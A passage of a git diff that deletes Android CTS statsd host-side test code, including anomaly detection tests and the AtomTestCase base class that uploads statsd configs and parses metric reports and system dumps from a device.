- .setRuleType(Subscription.RuleType.ALERT)
- .setRuleId(ALERT_ID)
- .setPerfettoDetails(PerfettoDetails.newBuilder()
- .setTraceConfig(getPerfettoConfig()))
- )
- .addValueMetric(ValueMetric.newBuilder()
- .setId(METRIC_ID)
- .setWhat(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
- .setBucket(TimeUnit.ONE_MINUTE)
- // Get the label field's value:
- .setValueField(FieldMatcher.newBuilder()
- .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder()
- .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER))
- )
-
- );
- uploadConfig(config);
-
- String markTime = getCurrentLogcatDate();
- doAppBreadcrumbReportedStart(6); // value = 6, which is NOT > trigger
- Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
- assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
- if (PERFETTO_TESTS_ENABLED) assertThat(isSystemTracingEnabled()).isFalse();
-
- doAppBreadcrumbReportedStart(14); // value = 14 > trigger
- Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-
- List<EventMetricData> data = getEventMetricDataList();
- assertWithMessage("Expected anomaly").that(data).hasSize(1);
- assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-
- // Pool a few times to allow for statsd <-> traced <-> traced_probes communication to happen.
- if (PERFETTO_TESTS_ENABLED) {
- boolean tracingEnabled = false;
- for (int i = 0; i < 5; i++) {
- if (isSystemTracingEnabled()) {
- tracingEnabled = true;
- break;
- }
- Thread.sleep(1000);
- }
- assertThat(tracingEnabled).isTrue();
- }
- }
-
- // Tests that anomaly detection for gauge works.
- public void testGaugeAnomalyDetection() throws Exception {
- StatsdConfig.Builder config = getBaseConfig(1, 20, 6 /* threshold: value > 6 */)
- .addGaugeMetric(GaugeMetric.newBuilder()
- .setId(METRIC_ID)
- .setWhat(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
- .setBucket(TimeUnit.CTS)
- // Get the label field's value into the gauge:
- .setGaugeFieldsFilter(
- FieldFilter.newBuilder().setFields(FieldMatcher.newBuilder()
- .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder()
- .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER))
- )
- )
- );
- uploadConfig(config);
-
- String markTime = getCurrentLogcatDate();
- doAppBreadcrumbReportedStart(6); // gauge = 6, which is NOT > trigger
- Thread.sleep(Math.max(WAIT_AFTER_BREADCRUMB_MS, 1_100)); // Must be >1s to push next bucket.
- assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
- if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
- // We waited for >1s above, so we are now in the next bucket (which is essential).
- doAppBreadcrumbReportedStart(14); // gauge = 14 > trigger
- Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-
- List<EventMetricData> data = getEventMetricDataList();
- assertWithMessage("Expected anomaly").that(data).hasSize(1);
- assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
- if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
- }
-
- // Test that anomaly detection for pulled metrics work.
- public void testPulledAnomalyDetection() throws Exception {
- final int ATOM_ID = Atom.KERNEL_WAKELOCK_FIELD_NUMBER; // A pulled atom
- final int SLICE_BY_FIELD = KernelWakelock.NAME_FIELD_NUMBER;
- final int VALUE_FIELD = KernelWakelock.VERSION_FIELD_NUMBER; // Something that will be > 0.
- final int ATOM_MATCHER_ID = 300;
-
- StatsdConfig.Builder config = getBaseConfig(10, 20, 0 /* threshold: value > 0 */)
- .addAllowedLogSource("AID_SYSTEM")
- // Track the ATOM_ID pulled atom
- .addAtomMatcher(StatsdConfigProto.AtomMatcher.newBuilder()
- .setId(ATOM_MATCHER_ID)
- .setSimpleAtomMatcher(StatsdConfigProto.SimpleAtomMatcher.newBuilder()
- .setAtomId(ATOM_ID)))
- .addGaugeMetric(GaugeMetric.newBuilder()
- .setId(METRIC_ID)
- .setWhat(ATOM_MATCHER_ID)
- .setBucket(TimeUnit.CTS)
- .setSamplingType(GaugeMetric.SamplingType.RANDOM_ONE_SAMPLE)
- // Slice by SLICE_BY_FIELD (typical usecase)
- .setDimensionsInWhat(FieldMatcher.newBuilder()
- .setField(ATOM_ID)
- .addChild(FieldMatcher.newBuilder().setField(SLICE_BY_FIELD))
- )
- // Track the VALUE_FIELD (anomaly detection requires exactly one field here)
- .setGaugeFieldsFilter(
- FieldFilter.newBuilder().setFields(FieldMatcher.newBuilder()
- .setField(ATOM_ID)
- .addChild(FieldMatcher.newBuilder().setField(VALUE_FIELD))
- )
- )
- );
- uploadConfig(config);
-
- Thread.sleep(6_000); // Wait long enough to ensure AlarmManager signals >= 1 pull
-
- List<EventMetricData> data = getEventMetricDataList();
- // There will likely be many anomalies (one for each dimension). There must be at least one.
- assertThat(data.size()).isAtLeast(1);
- assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
- }
-
-
- private final StatsdConfig.Builder getBaseConfig(int numBuckets,
- int refractorySecs,
- long triggerIfSumGt) throws Exception {
- return createConfigBuilder()
- // Items of relevance for detecting the anomaly:
- .addAtomMatcher(
- StatsdConfigProto.AtomMatcher.newBuilder()
- .setId(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
- .setSimpleAtomMatcher(
- StatsdConfigProto.SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- // Event only when the uid is this app's uid.
- .addFieldValueMatcher(createFvm(AppBreadcrumbReported.UID_FIELD_NUMBER)
- .setEqInt(getHostUid()))
- .addFieldValueMatcher(
- createFvm(AppBreadcrumbReported.STATE_FIELD_NUMBER)
- .setEqInt(AppBreadcrumbReported.State.START.ordinal()))))
- .addAtomMatcher(
- StatsdConfigProto.AtomMatcher.newBuilder()
- .setId(APP_BREADCRUMB_REPORTED_MATCH_STOP_ID)
- .setSimpleAtomMatcher(
- StatsdConfigProto.SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- // Event only when the uid is this app's uid.
- .addFieldValueMatcher(createFvm(AppBreadcrumbReported.UID_FIELD_NUMBER)
- .setEqInt(getHostUid()))
- .addFieldValueMatcher(
- createFvm(AppBreadcrumbReported.STATE_FIELD_NUMBER)
- .setEqInt(AppBreadcrumbReported.State.STOP.ordinal()))))
- .addAlert(Alert.newBuilder()
- .setId(ALERT_ID)
- .setMetricId(METRIC_ID) // The metric itself must yet be added by the test.
- .setNumBuckets(numBuckets)
- .setRefractoryPeriodSecs(refractorySecs)
- .setTriggerIfSumGt(triggerIfSumGt))
- .addSubscription(
- Subscription.newBuilder()
- .setId(SUBSCRIPTION_ID_INCIDENTD)
- .setRuleType(Subscription.RuleType.ALERT)
- .setRuleId(ALERT_ID)
- .setIncidentdDetails(IncidentdDetails.newBuilder().addSection(INCIDENTD_SECTION)))
- // We want to trigger anomalies on METRIC_ID, but don't want the actual data.
- .addNoReportMetric(METRIC_ID)
-
- // Items of relevance to reporting the anomaly (we do want this data):
- .addAtomMatcher(
- StatsdConfigProto.AtomMatcher.newBuilder()
- .setId(ANOMALY_DETECT_MATCH_ID)
- .setSimpleAtomMatcher(
- StatsdConfigProto.SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.ANOMALY_DETECTED_FIELD_NUMBER)
- .addFieldValueMatcher(createFvm(AnomalyDetected.CONFIG_UID_FIELD_NUMBER)
- .setEqInt(getHostUid()))
- .addFieldValueMatcher(createFvm(AnomalyDetected.CONFIG_ID_FIELD_NUMBER)
- .setEqInt(CONFIG_ID))))
- .addEventMetric(StatsdConfigProto.EventMetric.newBuilder()
- .setId(ANOMALY_EVENT_ID)
- .setWhat(ANOMALY_DETECT_MATCH_ID));
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
deleted file mode 100644
index 8ce54f3..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ /dev/null
@@ -1,1164 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import static android.cts.statsd.atom.DeviceAtomTestCase.DEVICE_SIDE_TEST_APK;
-import static android.cts.statsd.atom.DeviceAtomTestCase.DEVICE_SIDE_TEST_PACKAGE;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.os.BatteryStatsProto;
-import android.os.StatsDataDumpProto;
-import android.service.battery.BatteryServiceDumpProto;
-import android.service.batterystats.BatteryStatsServiceDumpProto;
-import android.service.procstats.ProcessStatsServiceDumpProto;
-
-import com.android.annotations.Nullable;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventMetric;
-import com.android.internal.os.StatsdConfigProto.FieldFilter;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.GaugeMetric;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.ProcessStatsPackageProto;
-import com.android.os.AtomsProto.ProcessStatsProto;
-import com.android.os.AtomsProto.ProcessStatsStateProto;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.DurationMetricData;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.os.StatsLog.GaugeBucketInfo;
-import com.android.os.StatsLog.GaugeMetricData;
-import com.android.os.StatsLog.CountMetricData;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.os.StatsLog.ValueMetricData;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.util.CommandResult;
-import com.android.tradefed.util.CommandStatus;
-
-import com.google.common.collect.Range;
-import com.google.common.io.Files;
-import com.google.protobuf.ByteString;
-
-import perfetto.protos.PerfettoConfig.DataSourceConfig;
-import perfetto.protos.PerfettoConfig.FtraceConfig;
-import perfetto.protos.PerfettoConfig.TraceConfig;
-
-import java.io.File;
-import java.text.SimpleDateFormat;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Comparator;
-import java.util.Date;
-import java.util.HashMap;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.Map;
-import java.util.Queue;
-import java.util.Random;
-import java.util.Set;
-import java.util.function.Function;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import java.util.stream.Collectors;
-
-/**
- * Base class for testing Statsd atoms.
- * Validates reporting of statsd logging based on different events
- */
-public class AtomTestCase extends BaseTestCase {
-
- /**
- * Run tests that are optional; they are not valid CTS tests per se, since not all devices can
- * be expected to pass them, but can be run, if desired, to ensure they work when appropriate.
- */
- public static final boolean OPTIONAL_TESTS_ENABLED = false;
-
- public static final String UPDATE_CONFIG_CMD = "cmd stats config update";
- public static final String DUMP_REPORT_CMD = "cmd stats dump-report";
- public static final String DUMP_BATTERY_CMD = "dumpsys battery";
- public static final String DUMP_BATTERYSTATS_CMD = "dumpsys batterystats";
- public static final String DUMPSYS_STATS_CMD = "dumpsys stats";
- public static final String DUMP_PROCSTATS_CMD = "dumpsys procstats";
- public static final String REMOVE_CONFIG_CMD = "cmd stats config remove";
- /** ID of the config, which evaluates to -1572883457. */
- public static final long CONFIG_ID = "cts_config".hashCode();
-
- public static final String FEATURE_AUDIO_OUTPUT = "android.hardware.audio.output";
- public static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
- public static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
- public static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
- public static final String FEATURE_CAMERA = "android.hardware.camera";
- public static final String FEATURE_CAMERA_FLASH = "android.hardware.camera.flash";
- public static final String FEATURE_CAMERA_FRONT = "android.hardware.camera.front";
- public static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
- public static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
- public static final String FEATURE_PC = "android.hardware.type.pc";
- public static final String FEATURE_PICTURE_IN_PICTURE = "android.software.picture_in_picture";
- public static final String FEATURE_TELEPHONY = "android.hardware.telephony";
- public static final String FEATURE_WATCH = "android.hardware.type.watch";
- public static final String FEATURE_WIFI = "android.hardware.wifi";
- public static final String FEATURE_INCREMENTAL_DELIVERY =
- "android.software.incremental_delivery";
-
- // Telephony phone types
- public static final int PHONE_TYPE_GSM = 1;
- public static final int PHONE_TYPE_CDMA = 2;
- public static final int PHONE_TYPE_CDMA_LTE = 6;
-
- protected static final int WAIT_TIME_SHORT = 1000;
- protected static final int WAIT_TIME_LONG = 2_000;
-
- protected static final long SCREEN_STATE_CHANGE_TIMEOUT = 4000;
- protected static final long SCREEN_STATE_POLLING_INTERVAL = 500;
-
- protected static final long NS_PER_SEC = (long) 1E+9;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- // Uninstall to clear the history in case it's still on the device.
- removeConfig(CONFIG_ID);
- getReportList(); // Clears data.
- }
-
- @Override
- protected void tearDown() throws Exception {
- removeConfig(CONFIG_ID);
- getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
- super.tearDown();
- }
-
- /**
- * Determines whether logcat indicates that incidentd fired since the given device date.
- */
- protected boolean didIncidentdFireSince(String date) throws Exception {
- final String INCIDENTD_TAG = "incidentd";
- final String INCIDENTD_STARTED_STRING = "reportIncident";
- // TODO: Do something more robust than this in case of delayed logging.
- Thread.sleep(1000);
- String log = getLogcatSince(date, String.format(
- "-s %s -e %s", INCIDENTD_TAG, INCIDENTD_STARTED_STRING));
- return log.contains(INCIDENTD_STARTED_STRING);
- }
-
- protected boolean checkDeviceFor(String methodName) throws Exception {
- try {
- installPackage(DEVICE_SIDE_TEST_APK, true);
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".Checkers", methodName);
- // Test passes, meaning that the answer is true.
- LogUtil.CLog.d(methodName + "() indicates true.");
- return true;
- } catch (AssertionError e) {
- // Method is designed to fail if the answer is false.
- LogUtil.CLog.d(methodName + "() indicates false.");
- return false;
- }
- }
-
- /**
- * Returns a protobuf-encoded perfetto config that enables the kernel
- * ftrace tracer with sched_switch for 10 seconds.
- */
- protected ByteString getPerfettoConfig() {
- TraceConfig.Builder builder = TraceConfig.newBuilder();
-
- TraceConfig.BufferConfig buffer = TraceConfig.BufferConfig
- .newBuilder()
- .setSizeKb(128)
- .build();
- builder.addBuffers(buffer);
-
- FtraceConfig ftraceConfig = FtraceConfig.newBuilder()
- .addFtraceEvents("sched/sched_switch")
- .build();
- DataSourceConfig dataSourceConfig = DataSourceConfig.newBuilder()
- .setName("linux.ftrace")
- .setTargetBuffer(0)
- .setFtraceConfig(ftraceConfig)
- .build();
- TraceConfig.DataSource dataSource = TraceConfig.DataSource
- .newBuilder()
- .setConfig(dataSourceConfig)
- .build();
- builder.addDataSources(dataSource);
-
- builder.setDurationMs(10000);
- builder.setAllowUserBuildTracing(true);
-
- TraceConfig.IncidentReportConfig incident = TraceConfig.IncidentReportConfig
- .newBuilder()
- .setDestinationPackage("foo.bar.baz")
- .build();
- builder.setIncidentReportConfig(incident);
-
- // To avoid being hit with guardrails firing in multiple test runs back
- // to back, we set a unique session key for each config.
- Random random = new Random();
- StringBuilder sessionNameBuilder = new StringBuilder("statsd-cts-");
- sessionNameBuilder.append(random.nextInt() & Integer.MAX_VALUE);
- builder.setUniqueSessionName(sessionNameBuilder.toString());
-
- return builder.build().toByteString();
- }
-
- /**
- * Resets the state of the Perfetto guardrails. This avoids that the test fails if it's
- * run too close of for too many times and hits the upload limit.
- */
- protected void resetPerfettoGuardrails() throws Exception {
- final String cmd = "perfetto --reset-guardrails";
- CommandResult cr = getDevice().executeShellV2Command(cmd);
- if (cr.getStatus() != CommandStatus.SUCCESS)
- throw new Exception(String.format("Error while executing %s: %s %s", cmd, cr.getStdout(), cr.getStderr()));
- }
-
- private String probe(String path) throws Exception {
- return getDevice().executeShellCommand("if [ -e " + path + " ] ; then"
- + " cat " + path + " ; else echo -1 ; fi");
- }
-
- /**
- * Determines whether perfetto enabled the kernel ftrace tracer.
- */
- protected boolean isSystemTracingEnabled() throws Exception {
- final String traceFsPath = "/sys/kernel/tracing/tracing_on";
- String tracing_on = probe(traceFsPath);
- if (tracing_on.startsWith("0")) return false;
- if (tracing_on.startsWith("1")) return true;
-
- // fallback to debugfs
- LogUtil.CLog.d("Unexpected state for %s = %s. Falling back to debugfs", traceFsPath,
- tracing_on);
-
- final String debugFsPath = "/sys/kernel/debug/tracing/tracing_on";
- tracing_on = probe(debugFsPath);
- if (tracing_on.startsWith("0")) return false;
- if (tracing_on.startsWith("1")) return true;
- throw new Exception(String.format("Unexpected state for %s = %s", traceFsPath, tracing_on));
- }
-
- protected static StatsdConfig.Builder createConfigBuilder() {
- return StatsdConfig.newBuilder()
- .setId(CONFIG_ID)
- .addAllowedLogSource("AID_SYSTEM")
- .addAllowedLogSource("AID_BLUETOOTH")
- // TODO(b/134091167): Fix bluetooth source name issue in Auto platform.
- .addAllowedLogSource("com.android.bluetooth")
- .addAllowedLogSource("AID_LMKD")
- .addAllowedLogSource("AID_RADIO")
- .addAllowedLogSource("AID_ROOT")
- .addAllowedLogSource("AID_STATSD")
- .addAllowedLogSource("com.android.systemui")
- .addAllowedLogSource(DeviceAtomTestCase.DEVICE_SIDE_TEST_PACKAGE)
- .addDefaultPullPackages("AID_RADIO")
- .addDefaultPullPackages("AID_SYSTEM")
- .addWhitelistedAtomIds(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
- }
-
- protected void createAndUploadConfig(int atomTag) throws Exception {
- StatsdConfig.Builder conf = createConfigBuilder();
- addAtomEvent(conf, atomTag);
- uploadConfig(conf);
- }
-
- protected void uploadConfig(StatsdConfig.Builder config) throws Exception {
- uploadConfig(config.build());
- }
-
- protected void uploadConfig(StatsdConfig config) throws Exception {
- LogUtil.CLog.d("Uploading the following config:\n" + config.toString());
- File configFile = File.createTempFile("statsdconfig", ".config");
- configFile.deleteOnExit();
- Files.write(config.toByteArray(), configFile);
- String remotePath = "/data/local/tmp/" + configFile.getName();
- getDevice().pushFile(configFile, remotePath);
- getDevice().executeShellCommand(
- String.join(" ", "cat", remotePath, "|", UPDATE_CONFIG_CMD,
- String.valueOf(CONFIG_ID)));
- getDevice().executeShellCommand("rm " + remotePath);
- }
-
- protected void removeConfig(long configId) throws Exception {
- getDevice().executeShellCommand(
- String.join(" ", REMOVE_CONFIG_CMD, String.valueOf(configId)));
- }
-
- /** Gets the statsd report and sorts it. Note that this also deletes that report from statsd. */
- protected List<EventMetricData> getEventMetricDataList() throws Exception {
- ConfigMetricsReportList reportList = getReportList();
- return getEventMetricDataList(reportList);
- }
-
- /**
- * Gets a List of sorted ConfigMetricsReports from ConfigMetricsReportList.
- */
- protected List<ConfigMetricsReport> getSortedConfigMetricsReports(
- ConfigMetricsReportList configMetricsReportList) {
- return configMetricsReportList.getReportsList().stream()
- .sorted(Comparator.comparing(ConfigMetricsReport::getCurrentReportWallClockNanos))
- .collect(Collectors.toList());
- }
-
- /**
- * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
- * contain a single report).
- */
- protected List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
- throws Exception {
- assertThat(reportList.getReportsCount()).isEqualTo(1);
- ConfigMetricsReport report = reportList.getReports(0);
-
- List<EventMetricData> data = new ArrayList<>();
- for (StatsLogReport metric : report.getMetricsList()) {
- data.addAll(metric.getEventMetrics().getDataList());
- }
- data.sort(Comparator.comparing(EventMetricData::getElapsedTimestampNanos));
-
- LogUtil.CLog.d("Get EventMetricDataList as following:\n");
- for (EventMetricData d : data) {
- LogUtil.CLog.d("Atom at " + d.getElapsedTimestampNanos() + ":\n" + d.getAtom().toString());
- }
- return data;
- }
-
- protected List<Atom> getGaugeMetricDataList() throws Exception {
- return getGaugeMetricDataList(/*checkTimestampTruncated=*/false);
- }
-
- protected List<Atom> getGaugeMetricDataList(boolean checkTimestampTruncated) throws Exception {
- ConfigMetricsReportList reportList = getReportList();
- assertThat(reportList.getReportsCount()).isEqualTo(1);
-
- // only config
- ConfigMetricsReport report = reportList.getReports(0);
- assertThat(report.getMetricsCount()).isEqualTo(1);
-
- List<Atom> data = new ArrayList<>();
- for (GaugeMetricData gaugeMetricData :
- report.getMetrics(0).getGaugeMetrics().getDataList()) {
- assertThat(gaugeMetricData.getBucketInfoCount()).isEqualTo(1);
- GaugeBucketInfo bucketInfo = gaugeMetricData.getBucketInfo(0);
- for (Atom atom : bucketInfo.getAtomList()) {
- data.add(atom);
- }
- if (checkTimestampTruncated) {
- for (long timestampNs: bucketInfo.getElapsedTimestampNanosList()) {
- assertTimestampIsTruncated(timestampNs);
- }
- }
- }
-
- LogUtil.CLog.d("Get GaugeMetricDataList as following:\n");
- for (Atom d : data) {
- LogUtil.CLog.d("Atom:\n" + d.toString());
- }
- return data;
- }
-
- /**
- * Gets the statsd report and extract duration metric data.
- * Note that this also deletes that report from statsd.
- */
- protected List<DurationMetricData> getDurationMetricDataList() throws Exception {
- ConfigMetricsReportList reportList = getReportList();
- assertThat(reportList.getReportsCount()).isEqualTo(1);
- ConfigMetricsReport report = reportList.getReports(0);
-
- List<DurationMetricData> data = new ArrayList<>();
- for (StatsLogReport metric : report.getMetricsList()) {
- data.addAll(metric.getDurationMetrics().getDataList());
- }
-
- LogUtil.CLog.d("Got DurationMetricDataList as following:\n");
- for (DurationMetricData d : data) {
- LogUtil.CLog.d("Duration " + d);
- }
- return data;
- }
-
- /**
- * Gets the statsd report and extract count metric data.
- * Note that this also deletes that report from statsd.
- */
- protected List<CountMetricData> getCountMetricDataList() throws Exception {
- ConfigMetricsReportList reportList = getReportList();
- assertThat(reportList.getReportsCount()).isEqualTo(1);
- ConfigMetricsReport report = reportList.getReports(0);
-
- List<CountMetricData> data = new ArrayList<>();
- for (StatsLogReport metric : report.getMetricsList()) {
- data.addAll(metric.getCountMetrics().getDataList());
- }
-
- LogUtil.CLog.d("Got CountMetricDataList as following:\n");
- for (CountMetricData d : data) {
- LogUtil.CLog.d("Count " + d);
- }
- return data;
- }
-
- /**
- * Gets the statsd report and extract value metric data.
- * Note that this also deletes that report from statsd.
- */
- protected List<ValueMetricData> getValueMetricDataList() throws Exception {
- ConfigMetricsReportList reportList = getReportList();
- assertThat(reportList.getReportsCount()).isEqualTo(1);
- ConfigMetricsReport report = reportList.getReports(0);
-
- List<ValueMetricData> data = new ArrayList<>();
- for (StatsLogReport metric : report.getMetricsList()) {
- data.addAll(metric.getValueMetrics().getDataList());
- }
-
- LogUtil.CLog.d("Got ValueMetricDataList as following:\n");
- for (ValueMetricData d : data) {
- LogUtil.CLog.d("Value " + d);
- }
- return data;
- }
-
- protected StatsLogReport getStatsLogReport() throws Exception {
- ConfigMetricsReport report = getConfigMetricsReport();
- assertThat(report.hasUidMap()).isTrue();
- assertThat(report.getMetricsCount()).isEqualTo(1);
- return report.getMetrics(0);
- }
-
- protected ConfigMetricsReport getConfigMetricsReport() throws Exception {
- ConfigMetricsReportList reportList = getReportList();
- assertThat(reportList.getReportsCount()).isEqualTo(1);
- return reportList.getReports(0);
- }
-
- /** Gets the statsd report. Note that this also deletes that report from statsd. */
- protected ConfigMetricsReportList getReportList() throws Exception {
- try {
- ConfigMetricsReportList reportList = getDump(ConfigMetricsReportList.parser(),
- String.join(" ", DUMP_REPORT_CMD, String.valueOf(CONFIG_ID),
- "--include_current_bucket", "--proto"));
- return reportList;
- } catch (com.google.protobuf.InvalidProtocolBufferException e) {
- LogUtil.CLog.e("Failed to fetch and parse the statsd output report. "
- + "Perhaps there is not a valid statsd config for the requested "
- + "uid=" + getHostUid() + ", id=" + CONFIG_ID + ".");
- throw (e);
- }
- }
-
- protected BatteryStatsProto getBatteryStatsProto() throws Exception {
- try {
- BatteryStatsProto batteryStatsProto = getDump(BatteryStatsServiceDumpProto.parser(),
- String.join(" ", DUMP_BATTERYSTATS_CMD,
- "--proto")).getBatterystats();
- LogUtil.CLog.d("Got batterystats:\n " + batteryStatsProto.toString());
- return batteryStatsProto;
- } catch (com.google.protobuf.InvalidProtocolBufferException e) {
- LogUtil.CLog.e("Failed to dump batterystats proto");
- throw (e);
- }
- }
-
- /** Gets reports from the statsd data incident section from the stats dumpsys. */
- protected List<ConfigMetricsReportList> getReportsFromStatsDataDumpProto() throws Exception {
- try {
- StatsDataDumpProto statsProto = getDump(StatsDataDumpProto.parser(),
- String.join(" ", DUMPSYS_STATS_CMD, "--proto"));
- // statsProto holds repeated bytes, which we must parse into ConfigMetricsReportLists.
- List<ConfigMetricsReportList> reports
- = new ArrayList<>(statsProto.getConfigMetricsReportListCount());
- for (ByteString reportListBytes : statsProto.getConfigMetricsReportListList()) {
- reports.add(ConfigMetricsReportList.parseFrom(reportListBytes));
- }
- LogUtil.CLog.d("Got dumpsys stats output:\n " + reports.toString());
- return reports;
- } catch (com.google.protobuf.InvalidProtocolBufferException e) {
- LogUtil.CLog.e("Failed to dumpsys stats proto");
- throw (e);
- }
- }
-
- protected List<ProcessStatsProto> getProcStatsProto() throws Exception {
- try {
-
- List<ProcessStatsProto> processStatsProtoList =
- new ArrayList<ProcessStatsProto>();
- android.service.procstats.ProcessStatsSectionProto sectionProto = getDump(
- ProcessStatsServiceDumpProto.parser(),
- String.join(" ", DUMP_PROCSTATS_CMD,
- "--proto")).getProcstatsNow();
- for (android.service.procstats.ProcessStatsProto stats :
- sectionProto.getProcessStatsList()) {
- ProcessStatsProto procStats = ProcessStatsProto.parser().parseFrom(
- stats.toByteArray());
- processStatsProtoList.add(procStats);
- }
- LogUtil.CLog.d("Got procstats:\n ");
- for (ProcessStatsProto processStatsProto : processStatsProtoList) {
- LogUtil.CLog.d(processStatsProto.toString());
- }
- return processStatsProtoList;
- } catch (com.google.protobuf.InvalidProtocolBufferException e) {
- LogUtil.CLog.e("Failed to dump procstats proto");
- throw (e);
- }
- }
-
- /*
- * Get all procstats package data in proto
- */
- protected List<ProcessStatsPackageProto> getAllProcStatsProto() throws Exception {
- try {
- android.service.procstats.ProcessStatsSectionProto sectionProto = getDump(
- ProcessStatsServiceDumpProto.parser(),
- String.join(" ", DUMP_PROCSTATS_CMD,
- "--proto")).getProcstatsOver24Hrs();
- List<ProcessStatsPackageProto> processStatsProtoList =
- new ArrayList<ProcessStatsPackageProto>();
- for (android.service.procstats.ProcessStatsPackageProto pkgStast :
- sectionProto.getPackageStatsList()) {
- ProcessStatsPackageProto pkgAtom =
- ProcessStatsPackageProto.parser().parseFrom(pkgStast.toByteArray());
- processStatsProtoList.add(pkgAtom);
- }
- LogUtil.CLog.d("Got procstats:\n ");
- for (ProcessStatsPackageProto processStatsProto : processStatsProtoList) {
- LogUtil.CLog.d(processStatsProto.toString());
- }
- return processStatsProtoList;
- } catch (com.google.protobuf.InvalidProtocolBufferException e) {
- LogUtil.CLog.e("Failed to dump procstats proto");
- throw (e);
- }
- }
-
- /*
- * Get all processes' procstats statsd data in proto
- */
- protected List<android.service.procstats.ProcessStatsProto> getAllProcStatsProtoForStatsd()
- throws Exception {
- try {
- android.service.procstats.ProcessStatsSectionProto sectionProto = getDump(
- android.service.procstats.ProcessStatsSectionProto.parser(),
- String.join(" ", DUMP_PROCSTATS_CMD,
- "--statsd"));
- List<android.service.procstats.ProcessStatsProto> processStatsProtoList
- = sectionProto.getProcessStatsList();
- LogUtil.CLog.d("Got procstats:\n ");
- for (android.service.procstats.ProcessStatsProto processStatsProto
- : processStatsProtoList) {
- LogUtil.CLog.d(processStatsProto.toString());
- }
- return processStatsProtoList;
- } catch (com.google.protobuf.InvalidProtocolBufferException e) {
- LogUtil.CLog.e("Failed to dump procstats proto");
- throw (e);
- }
- }
-
- protected boolean hasBattery() throws Exception {
- try {
- BatteryServiceDumpProto batteryProto = getDump(BatteryServiceDumpProto.parser(),
- String.join(" ", DUMP_BATTERY_CMD, "--proto"));
- LogUtil.CLog.d("Got battery service dump:\n " + batteryProto.toString());
- return batteryProto.getIsPresent();
- } catch (com.google.protobuf.InvalidProtocolBufferException e) {
- LogUtil.CLog.e("Failed to dump batteryservice proto");
- throw (e);
- }
- }
-
- /** Creates a FieldValueMatcher.Builder corresponding to the given field. */
- protected static FieldValueMatcher.Builder createFvm(int field) {
- return FieldValueMatcher.newBuilder().setField(field);
- }
-
- protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag) throws Exception {
- addAtomEvent(conf, atomTag, new ArrayList<FieldValueMatcher.Builder>());
- }
-
- /**
